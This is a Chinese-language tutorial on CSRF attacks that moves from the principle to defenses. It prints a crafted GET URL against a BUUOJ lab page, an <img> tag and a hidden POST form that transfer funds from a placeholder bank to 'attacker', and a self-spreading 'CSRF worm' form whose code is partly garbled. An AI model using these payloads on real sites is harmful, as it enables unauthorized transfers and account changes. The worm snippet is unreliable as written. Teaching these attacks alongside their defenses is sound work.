原理
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web安全漏洞,攻击者利用用户已登录的身份,在用户不知情的情况下,向Web应用程序发起恶意请求,以实现攻击目的。
CSRF攻击的过程可以简单描述为以下几步:
-
攻击者
构造恶意请求
,其中包含攻击目标的关键操作,例如转账、修改密码等。
-
攻击者将恶意请求嵌入到诱骗用户点击的链接、图片等元素中。
-
用户在登录状态下(即可以通过cookie验证)
访问包含恶意请求的页面时,浏览器会自动利用已有的cookie且未失效发送请求,攻击目标就会执行,从而达到攻击者的目的。
http://44532b34-1f56-4ee2-8da2-a99a3a75af83.node4.buuoj.cn:81/vul/c
srf/csrfget/csrf_get_edit.php?sex=2&phonenum=2&add=2&email=2&submit=submit
如上是一个构造好的恶意请求,只要可以利用到用户的cookie进行验证成功,就可以进行用户的信息修改。但路径设置一定要是绝对路径,只要能验证成功就可以实现。
CSRF的GET和POST请求
GET
在HTML标签中很多标签都是自带“src”属性的,如<img>,<iframe>,<script>,这些标签里面都可以嵌入一个恶意链接,当无意点击时就会触发CSRF漏洞。
<img src="http://victimbank.com/transfer?to=attacker&amount=100000">
在上面示例中,当受害者浏览恶意网站并点击这个图片时,浏览器会向
victimbank.com
发送一个 GET 请求,请求转账 100,000 单位给攻击者
POST
其实用POST请求跨站点也非常简单,页面代码如下。
<!DOCTYPE html>
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<h1>欢迎来到银行转账页面</h1>
<form action="http://victimbank.com/transfer" method="post">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="100000">
<input type="submit" value="转账">
</form>
</body>
</html>
在这个示例中,用户访问一个恶意网站(攻击者的站点),该站点通过
<form>
表单进行 POST 请求到受害者的银行转账页面。隐藏字段
to
指定目标账户为攻击者的账户,
amount
指定转账金额为 100,000。
CSRF蠕虫
<form id="myForm" action="http://boke.com/111"method-"POST">
<input name="content" value='<a href="http://csrf.com/csrf.html"">clickme</a>'>
</form>
<script>
document.getElementById(' myForm' ) .submit C);
</script>
如上的功能时发布一篇博客里面嵌套了恶意页面链接,当点击这个链接就会触发csrf漏洞发布一篇同样的博客,从而实现蠕虫传播
防御手法
1.验证码
在执行重要操作的时候服务端可以要求输入验证码进行二次验证,强制哦那个胡与服务进行交互,才能完成最终的请求
2.随机token
很多CSRF成功的原因是可构造出恶意的链接,那只要在URL上面加上一个随机的Token只有用户端和客服端知道,且发送请求的时候需要带上这个Token,那黑客因为不知道这个随机Token的值就无法构造出有效的恶意链接
3.Cookie的SameSIte属性
SameSite 是一种 Web 安全机制,旨在防止 CSRF 攻击。通过在 Cookie 中设置 SameSite 属性,可以控制浏览器什么情况下发送 Cookie,从而限制了 CSRF 攻击的可能性。